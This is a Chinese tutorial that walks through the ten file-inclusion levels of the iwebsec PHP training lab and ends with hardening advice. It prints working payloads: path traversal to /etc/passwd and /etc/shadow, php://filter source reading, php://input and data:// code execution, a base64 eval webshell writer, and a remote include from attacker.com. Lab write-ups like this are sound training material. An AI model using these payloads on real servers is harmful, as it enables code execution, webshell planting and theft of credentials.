PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析
2026/7/8 20:30:11 网站建设 项目流程

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析

在 Web 安全领域,文件包含漏洞(File Inclusion Vulnerability)一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台,其文件包含模块设计了 10 个由浅入深的关卡,全面覆盖了本地文件包含(LFI)、远程文件包含(RFI)、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角,系统性地拆解这 10 个关卡的技术要点,并深入分析 3 类关键伪协议的底层原理与创新利用方式。

1. 靶场环境搭建与基础概念

1.1 Docker 靶场快速部署

使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建:

docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec

访问http://localhost:8001即可进入靶场界面,文件包含漏洞模块路径为/fi/目录。

1.2 文件包含漏洞本质

当 PHP 代码使用以下函数动态包含文件时,若未对参数进行严格过滤,则可能引发漏洞:

include($_GET['file']); require_once($path.'header.php');

攻击者通过控制文件路径参数,可实现:

  • 读取服务器敏感文件(/etc/passwd)
  • 执行任意 PHP 代码(WebShell)
  • 触发反序列化漏洞

漏洞类型对比表

类型触发条件典型危害
本地文件包含(LFI)能访问服务器本地文件敏感信息泄露、代码执行
远程文件包含(RFI)allow_url_include=On直接获取服务器控制权
Session 文件包含Session 内容可控权限提升、持久化后门

2. 基础关卡:本地文件包含实战

2.1 关卡 1:直接文件包含

漏洞代码

// fi/01.php $filename = $_GET['filename']; include($filename);

利用方式

http://localhost:8001/fi/01.php?filename=../../../../etc/passwd

关键技巧

  • 使用../进行目录遍历
  • Linux 常见敏感文件路径:
    /etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志

2.2 关卡 2:过滤绕过技术

当系统过滤/字符时,可采用以下手法:

方法一:URL 编码绕过

?filename=..%2f..%2f..%2fetc%2fpasswd

方法二:超长路径截断(PHP<5.2.8)

# 生成 4096 个字符的路径 payload = './'*2048 + 'etc/passwd'

3. 高阶利用:Session 与伪协议

3.1 关卡 3:Session 文件包含

攻击链构建

  1. 发现 Session 可控点:
    /fi/03.php?iwebsec=<?php phpinfo();?>
  2. 获取 Session ID:
    // Chrome DevTools -> Application -> Cookies document.cookie.match(/PHPSESSID=([^;]+)/)[1]
  3. 包含 Session 文件:
    /fi/01.php?filename=../../../../var/lib/php/sessions/sess_abc123

Session 文件路径规律

  • 默认路径:/var/lib/php/sessions/
  • 命名规则:sess_[PHPSESSID]

3.2 关卡 6-8:PHP 伪协议深度利用

3.2.1 php://filter 协议

源码读取技巧

/fi/06.php?filename=php://filter/convert.base64-encode/resource=index.php

提示:Base64 编码可避免 PHP 代码被直接执行

过滤器链组合应用

# 多重编码绕过WAF payload = 'php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resource=config.php'
3.2.2 php://input 协议

POST 数据执行

GET /fi/07.php?filename=php://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded <?php system("id");?>

木马写入技巧

<?php file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7'));

4. 远程文件包含与特殊协议

4.1 关卡 4-5:RFI 利用条件

必要配置检查

// php.ini 关键配置 allow_url_fopen = On allow_url_include = On

绕过域名限制技巧

/fi/05.php?filename=http://attacker.com/shell.txt? /fi/05.php?filename=http://127.0.0.1:8080/bypass.txt%23

4.2 关卡 9-10:data:// 与 file:// 协议

data:// 代码执行

/fi/10.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==

file:// 绝对路径读取

/fi/09.php?filename=file:///etc/shadow

5. 防御方案与实战建议

5.1 安全编码规范

// 白名单校验 $allowed = ['header.php', 'footer.php']; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define('BASE_DIR', '/var/www/includes/'); include(BASE_DIR . $file);

5.2 服务器加固措施

  1. PHP 配置优化:
    allow_url_include = Off open_basedir = /var/www/html:/tmp
  2. 文件权限控制:
    chmod -R 750 /var/www chown -R www-data:www-data /var/www

在实战渗透测试中,文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习:

  • 通过 LFI 读取数据库配置文件
  • 结合日志文件包含实现无文件攻击
  • 利用 phar:// 协议触发反序列化

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询